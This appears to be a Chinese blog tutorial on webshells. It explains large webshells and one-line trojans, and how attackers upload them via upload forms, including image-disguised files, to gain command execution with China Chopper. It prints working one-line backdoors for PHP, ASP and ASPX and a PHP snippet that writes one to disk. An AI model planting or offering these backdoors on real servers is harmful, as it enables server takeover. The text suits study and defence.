Webshell和一句话木马
大马
webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的一种命令执行环境,也就是一种网页后门。黑客在入侵了一个网站后,很多人通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问该后门文件了,从而得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上的操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限,webshell大多是以动态脚本的形式出现
webshell被站长常常用于网站管理、服务器管理等等,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。
另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为Web脚本木马,比较流行的asp或php木马
但是这里所说的木马都是些体积“庞大”的木马,也就是黑客中常称呼的" 大马 "。
一句话小马
因为上面所提及到的webshell概念中提到的大马在如今的安全领域中已经被盯的非常紧了,而且各种杀毒软件和防火墙软件都对这种“大马”有了甄别能力,所以如果被渗透的web服务器中安装了防御软件的话,留下这种大马作为自己的webshell就非常困难了,于是一种新型的webshell就横空出世了,那就是一句话木马。
简单来说一句话木马就是通过在网站的上传功能中提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。对于不同的语言有不同的构造方法,基本构造是首先出现的是脚本开始的标记,后边跟着的 eval 或者是 execute 是核心部分,就是获取并执行后边得到的内容,而后边得到的内容,是 request 或者是 $_POST 获取的值。如果我们通过客户端向服务器发送,那么就会让服务器执行我们发送的脚本,挂马就实现了。
一些不同脚本语言的一句话木马,这些都可以依靠网站的上传功能,上传文件信息交互类似的地方,比如头像(图片马),文件等,绕过前端JS的验证,后端的win解析或者其他漏洞进行绕过。然后通过菜刀进行连接就可以获得一个简单的webshell。
php一句话木马: <?php @eval($_POST[value]); ?>
asp一句话木马: <%eval request ("value")%> 或 <% execute(request("value")) %>
aspx一句话木马: <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
<?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中
但是现在的WAF配备很完善,很多都会检测得到这些常见的一句话马。
一句话木马运行
拿一个PHP的小马来做演示
<?php $a="phpinfo()"; eval("$a;");?> #就相当于执行 phpinfo(); 语句。
在这串代码中,开头<?php标记了语言类型,eval("$a;") 的功能是将"$a;"组合成 php 指令,然后将指令执行,其他格式语言原理差不多,只是函数格式会不一样。
当我们已经将这一串代码插入到可以被web服务器执行的文件中后,我们可以通过菜刀进行连接,像这个文件提交post数据,这样提交的数据如果是正确的PHP语言,就会一句话执行。
上一篇: SqlCommand 添加参数-与DataAdapter更新
下一篇: 二十一、Json